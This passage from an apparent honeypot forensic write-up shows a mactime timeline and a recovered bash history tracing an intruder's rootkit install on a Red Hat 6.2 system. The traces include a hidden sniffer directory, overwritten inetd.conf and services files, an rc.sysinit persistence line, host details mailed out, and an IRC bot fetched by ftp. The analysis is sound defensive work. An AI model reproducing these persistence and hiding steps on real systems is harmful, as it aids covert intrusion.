42736 ..c -rwxr-xr-x root root <honeypot.hda8.dd-dead-48284> deletion of original redhat 6.2 /sbin/ifconfig
Mar 16 01 12:45:03 33392 .a. -rwxr-xr-x root root ../mnt/bin/cp the copy of services files to /etc
5760 .a. -rwxr-xr-x root root ../mnt/bin/sleep sleep for 1 second
1024 m.c drwxr-xr-x root root ../mnt/dev/ida/..
632066 m.c -rwxr-xr-x root root ../mnt/dev/ida/.. /mkxfs
708 mac -rw-r--r-- root root ../mnt/dev/ida/.. /s
540 mac -rw------- root root ../mnt/dev/ida/.. /ssh_host_key
512 mac -rw------- root root ../mnt/dev/ida/.. /ssh_random_seed
0 mac -rw-r--r-- root root ../mnt/dev/ida/.. /tcp.log
1024 m.c drwxr-xr-x root root ../mnt/dev/ida/.drag-on
7165 .a. -rwx------ root root ../mnt/dev/ida/.drag-on/linsniffer
632066 .a. -rwxr-xr-x root root ../mnt/dev/ida/.drag-on/mkxfs
708 .a. -rw-r--r-- root root ../mnt/dev/ida/.drag-on/s
540 .a. -rw------- root root ../mnt/dev/ida/.drag-on/ssh_host_key
512 .a. -rw------- root root ../mnt/dev/ida/.drag-on/ssh_random_seed
138 .a. -rw-r--r-- root root ../mnt/dev/ida/.drag-on/tcp.log
3072 m.c drwxr-xr-x root root ../mnt/etc
3278 mac -rw-r--r-- root root ../mnt/etc/inetd.conf hackers inetd.conf file copied on top of original
13708 m.c -rwxr-xr-x root root ../mnt/etc/rc.d/rc.sysinit appending "/usr/bin/lsattr -t1 -X53 -p" to rc.sysinit
11407 m.c -rw-r--r-- root root ../mnt/etc/services hackers services file copied on top of original
17 .a. lrwxrwxrwx root root ../mnt/lib/libcom_err.so.2 -> libcom_err.so.2.0
8465 .a. -rwxr-xr-x root root ../mnt/lib/libcom_err.so.2.0
13 .a. lrwxrwxrwx root root ../mnt/lib/libe2p.so.2 -> libe2p.so.2.3
17713 .a. -rwxr-xr-x root root ../mnt/lib/libe2p.so.2.3
16 .a. lrwxrwxrwx root root ../mnt/lib/libext2fs.so.2 -> libext2fs.so.2.4
85856 .a. -rwxr-xr-x root root ../mnt/lib/libext2fs.so.2.4
3278 .a. -rw-r--r-- root root <honeypot.hda8.dd-dead-2044> inetd.conf
79 .a. -rwxr-xr-x root root <honeypot.hda8.dd-dead-2045> lsattr
11407 .a. -rw-r--r-- root root <honeypot.hda8.dd-dead-2046> services
4060 ..c -rwxr-xr-x root root <honeypot.hda8.dd-dead-2047> sense
540 .ac -rw------- root root <honeypot.hda8.dd-dead-2049> ssh_host_key
512 .ac -rw------- root root <honeypot.hda8.dd-dead-2051> ssh_random_key
8268 ..c -rwx------ root root <honeypot.hda8.dd-dead-2053> sl2
75 ..c -rwx------ root root <honeypot.hda8.dd-dead-2059> logclear
708 .ac -rw-r--r-- root root <honeypot.hda8.dd-dead-2060> s
632066 .ac -rwxr-xr-x root root <honeypot.hda8.dd-dead-2061> mkxfs
Mar 16 01 12:45:05 24816 .a. -rwxr-xr-x root root ../mnt/bin/df get filesystem disk space and append to 'computer' file
62384 .a. -rwxr-xr-x root mail ../mnt/bin/mail mail 'computer' file to hackers
51 .a. -rw-r--r-- root root ../mnt/etc/conf.modules
112 .a. -rw-r--r-- root root ../mnt/etc/mail.rc
17 .a. lrwxrwxrwx root root ../mnt/lib/ld-linux.so.1 -> ld-linux.so.1.9.5
25386 .a. -rwxr-xr-x root root ../mnt/lib/ld-linux.so.1.9.5
788401 .a. -rwxr-xr-x root root ../mnt/lib/libdb-2.1.3.so
14 .a. lrwxrwxrwx root root ../mnt/lib/libdb.so.3 -> libdb-2.1.3.so
44108 .a. -rwxr-xr-x root root ../mnt/lib/libproc.so.2.0.6
28633 .a. -rw-r--r-- root root ../mnt/lib/modules/2.2.14-5.0/modules.dep
19840 .a. -rwxr-xr-x root root ../mnt/sbin/ifconfig
6 .a. lrwxrwxrwx root root ../mnt/sbin/modprobe -> insmod
0 mac drwxr-xr-x 1031 users <honeypot.hda8.dd-dead-2038> deletion of /last/
611931 ..c -rwxr-xr-x root root <honeypot.hda8.dd-dead-2039> deletion of ssh
1 ..c -rw-r--r-- root root <honeypot.hda8.dd-dead-2040> deletion of pidfile
3713 .ac -rwx------ root root <honeypot.hda8.dd-dead-2041> deletion of install
796 mac -rw-r--r-- root root <honeypot.hda8.dd-dead-2042>
1345 ..c -rwxr-xr-x root root <honeypot.hda8.dd-dead-2043> deletion of cleaner
3278 ..c -rw-r--r-- root root <honeypot.hda8.dd-dead-2044> deletion of inetd.conf
79 ..c -rwxr-xr-x root root <honeypot.hda8.dd-dead-2045> deletion of lsattr
11407 ..c -rw-r--r-- root root <honeypot.hda8.dd-dead-2046> deletion of services
880 ..c -rw-r--r-- root root <honeypot.hda8.dd-dead-2048> deletion of ssh_config
344 ..c -rw-r--r-- root root <honeypot.hda8.dd-dead-2050> deletion of ssh_host_key.pub
688 ..c -rw-r--r-- root root <honeypot.hda8.dd-dead-2052> deletion of sshd_config
4620 .ac -rwxr-xr-x root root <honeypot.hda8.dd-dead-2054> deletion of last.cgi
520333 ..c -rw-r--r-- root root <honeypot.hda8.dd-dead-23> deletion of rootkit lk.tar.gz
Snooping around in root's home directory yielded some more crumbs...
/home/honeynet/scan15/mnt/root # ls -laF total 10 drwxr-x--- 2 root root 1024 Mar 16 04:23 ./ drwxr-xr-x 18 root root 1024 Mar 16 12:45 ../ -rw-r--r-- 1 root root 1126 Aug 24 1995 .Xdefaults -rw------- 1 root root 211 Mar 17 01:53 .bash_history -rw-r--r-- 1 root root 24 Jul 14 1994 .bash_logout -rw-r--r-- 1 root root 238 Aug 24 1995 .bash_profile -rw-r--r-- 1 root root 176 Aug 24 1995 .bashrc -rw-r--r-- 1 root root 182 Mar 22 1999 .cshrc -rw-r--r-- 1 root root 166 Mar 5 1996 .tcshrc /home/honeynet/scan15/mnt/root # cat .bash_history exec tcsh ls mkdir /var/... ls cd /var/... ftp ftp.home.ro tar -zxvf emech-2.8.tar.gz cd emech-2.8 ./configure y make make make install mv sample.set mech.set pico mech.set ./mech cd /etc pico ftpaccess ls exit
Looks like the hacker downloaded and installed emech-2.8.tar.gz.
Energy mech is an IRC bot. (http://www.energymech.net/)
The mactimes show the activity that corresponds to .bash_history above.
Mar 17 01 01:39:10 361 .a. -rw-r--r-- root root ../mnt/etc/yp.conf
Mar 17 01 01:39:27 628 .a. -r-------- root root ../mnt/etc/shadow login...
Mar 17 01 01:39:28 0 .a. -rw-r--r-- root root ../mnt/etc/motd
Mar 17 01 01:39:29 8896 .a. -rwxr-xr-x root root ../mnt/bin/hostname
2434 .a. -rw-r--r-- root root ../mnt/etc/DIR_COLORS
582 .a. -rw-r--r-- root root ../mnt/etc/bashrc
547 .a. -rw-r--r-- root root ../mnt/etc/profile
1024 .a. drwxr-xr-x root root ../mnt/etc/profile.d
234 .a. -rwxr-xr-x root root ../mnt/etc/profile.d/colorls.sh
1522 .a. -rwxr-xr-x root root ../mnt/etc/profile.d/lang.sh
120 .a. -rwxr-xr-x root root ../mnt/etc/profile.d/less.sh
125 .a. -rwxr-xr-x root root ../mnt/etc/profile.d/which-2.sh
13 .a. -rw-r--r-- root root ../mnt/etc/sysconfig/i18n
238 .a. -rw-r--r-- root root ../mnt/root/.bash_profile
176 .a. -rw-r--r-- root root ../mnt/root/.bashrc
Mar 17 01 01:40:11 13696 .a. -rwxr-xr-x root root ../mnt/bin/mkdir mkdir /var/...
1024 .a. drwxr-x--- root root ../mnt/root
Mar 17 01 01:40:58 11407 .a. -rw-r--r-- root root ../mnt/etc/services
Mar 17 01 01:41:25 413 .a. -rw-r--r-- root root ../mnt/etc/inputrc
Mar 17 01 01:45:05 512 m.c -rw------- root root ../mnt/dev/ida/.drag-on/ssh_random_seed
Mar 17 01 01:47:01 46384 .a. -rwxr-xr-x root root ../mnt/bin/gunzip tar -zxvf emech-2.8.tar.gz ...
46384 .a. -rwxr-xr-x root root ../mnt/bin/gzip
144592 .a. -rwxr-xr-x root root ../mnt/bin/tar
46384 .a. -rwxr-xr-x root root ../mnt/bin/zcat
Mar 17 01 01:47:09 6196 .a. -rwxr-xr-x root root ../mnt/bin/uname make...
Mar 17 01 01:47:14 75600 .a. -rwxr-xr-x root root ../mnt/bin/grep
Mar 17 01 01:47:16 9528 .a. -rwxr-xr-x root root ../mnt/bin/cat
20240 .a. -rwxr-xr-x root root ../mnt/bin/rm
Mar 17 01 01:47:30 44880 .a. -rwxr-xr-x root root ../mnt/bin/sed
Mar 17 01 01:47:56 0 mac -rw------- root root <honeypot.hda8.dd-dead-22106>
0 mac -rw------- root root <honeypot.hda8.dd-dead-22107>
0 mac -rw-r--r-- root root <honeypot.hda8.dd-dead-22108>
Mar 17 01 01:48:42 1024 m.c drwxrwxrwx root root ../mnt/tmp
0 mac -rw------- root root <honeypot.hda8.dd-dead-22103>
0 mac -rw------- root root <honeypot.hda8.dd-dead-22104>
0 mac -rw-r--r-- root root <honeypot.hda8.dd-dead-22105>
Mar 17 01 01:50:44 13436 .a. -rwxr-xr-x root root ../mnt/bin/chmod
Mar 17 01 01:50:49 41104 .a. -rwxr-xr-x root root ../mnt/bin/mv mv sample.set mech.set
Mar 17 01 01:51:22 0 .a. crw-r--r-- root root ../mnt/dev/random
Mar 17 01 01:52:40 0 .a. -rw------- root root ../mnt/etc/ftpaccess pico mech.set
Mar 17 01 01:52:45 0 m.c -rw------- root root ../mnt/etc/ftpaccess pico ftpaccess
Mar 17 01 01:52:52 43024 .a. -rwxr-xr-x root root ../mnt/bin/ls ls
3072 .a. drwxr-xr-x root root ../mnt/etc logging out...
11 .a. lrwxrwxrwx root root ../mnt/etc/rmt -> ../sbin/rmt
625272 .a. -rw-r--r-- root root ../mnt/etc/termcap
Mar 17 01 01:52:59 0 ma. crw-rw-rw- root root ../mnt/dev/ttyp0
24 .a. -rw-r--r-- root root ../mnt/root/.bash_logout
Mar 17 01 01:53:00 0 ..c crw-rw-rw- root root ../mnt/dev/ttyp0
211 mac -rw------- root root ../mnt/root/.bash_history final write to .bash_history
You'll notice that 'mech' is included in the config file for ps and top to hide.
See Section 1. through to Section 12.
See Section 9.
Yes, the rootkit was installed. See Section 5., Section 13. and Section 14. for details.